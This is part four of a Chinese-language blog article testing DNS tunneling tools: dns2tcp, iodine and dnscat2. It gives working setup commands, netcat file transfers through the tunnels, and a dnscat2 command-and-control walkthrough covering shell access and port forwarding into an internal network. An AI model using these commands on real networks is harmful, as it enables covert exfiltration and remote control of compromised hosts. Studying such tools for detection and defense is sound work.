这年头,连DNS隧道都被玩坏了( 四 )


从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信 。
2.iodine
iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有Android客户端,不过它需要安装TUN/TAP 。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s 。
官网上给出了安装方法,可以通过make &make install安装 。另外,如果在centos 7上,我发现可以通过yum直接安装 。而在kali中,也可以通过apt-get直接安装 。
在iodine的测试过程中,我使用过3家公用dns,分别是阿里的dns-223.5.5.5,dnspod的dns-119.29.29.29,谷歌dns-8.8.8.8 。阿里dns在中继模式下无法指定NULL类型的查询请求,而DNSPOD和google可以,且同为国内dns,阿里的速度不如dnspod,这个因具体网络环境不同,国内两家dns在中继模式下传输3M文件,需手调参数,自动模式下很容易传输中途失败 。而谷歌dns速度明显较国内两家快很多,自动模式下即可轻松完成传输 。
服务端:

iodined -c -P 123pass 192.168.99.1 <domain.com> -DDD
nc -l 1234 < test.txt
客户端:
iodine -f -P 123pass <domain.com> -r
nc 192.168.99.1 1234 < test.txt
使用dnspod时,客户端指定某些参数以完成整个传输
iodine -f -P 123pass <domain.com> -r -T CNAME -O base64u -m 512 -L0
iodine支持直接转发和中继两种模式 。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0的虚拟网卡 。iodine支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型,并且支持EDNS,支持base32,base64,base128等多种编码规范 。iodine在直连模式下,速度相当可观,我试过建立隧道后,用ssh做代理转发,可以流畅播放youtube 1080p,原理暂未分析 。在中继模式下,使用谷歌的dns,也是Dns Tunneling工具中速度最快的 。更多使用方法和功能特性请参考官方文档 。
3.Dnscat2
Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道 。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上,如果没有权威域名服务器,则可以采用直连模式 。作者很坚持Dnscat2是一个命令与控制工具,并非像其他的DNS Tunneling工具一样可以用来摆脱web收费验证,免费上网 。
Dnscat2客户端基于C开发的,服务器端基于ruby开发 。github官方主页上给出了详细的安装步骤及可能遇到的问题,请参考github Readme 。
在测试过程中,我原本使用的DNS是dnspod的公用dns,但是发现包传输出错率较高,延迟大,可能由于我的vps在境外,所以改用google 8.8.8.8后,效果明显好转 。可能因具体网络环境而异 。
服务端:
ruby ./dnscat2.rb <domain.com>
客户端:
./dnscat2 <domain.com>
服务端建立好后,可以用如下命令测试Client是否能和服务端成功建立通信 。
./dnscat --ping <domain.com>
Dnscat2服务端的是交互模式,作者说采用这种设计是受metasploit和 meteprete的启发 。而服务端的使用方法也确实和metasploit和meteprete的使用方法类似,所以大家应该不难上手 。
客户端和服务端建立通信后,就没有客户端什么事了,服务端此时处于交互模式下,作者为大家提供了很多windows来作为管理会话和连接的窗口,默认为主window,用windows可以查看目前有哪些window存在,每个连接都是一个独立的window,window -i 1进入1号window,此时可以用help命令还查看都有哪些功能,如下所示:
clear delay download echo exec listen ping shell
其中,shell可以建立到对应客户端的shell,download可以直接下载文件,不过需要注意的是download默认是将所有的数据先写入缓存,最后一次写入硬盘,所以在传输较大文件时,很长时间会发现没有文件产生 。
在window下有个listen的功能,它提供了端口转发的功能,可以通过它直接渗透内网 。使用方法类似SSH -L 。
listen [lhost]:[lport] [rhost]:[rport]
以上传文件为例:
客户端A:10.211.55.1
内网某机器B:10.211.55.2
服务端(DNS)C: 172.16.18.2
此时,A和C已经建立连接 。
服务端C命令:
listen [127.0.0.1]:2222 10.211.55.2:1234
nc 127.0.0.1 2222 < test.txt
客户端A:
nc -l 1234 > test.txt
Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密 。可以提高传输的稳定性 。


推荐阅读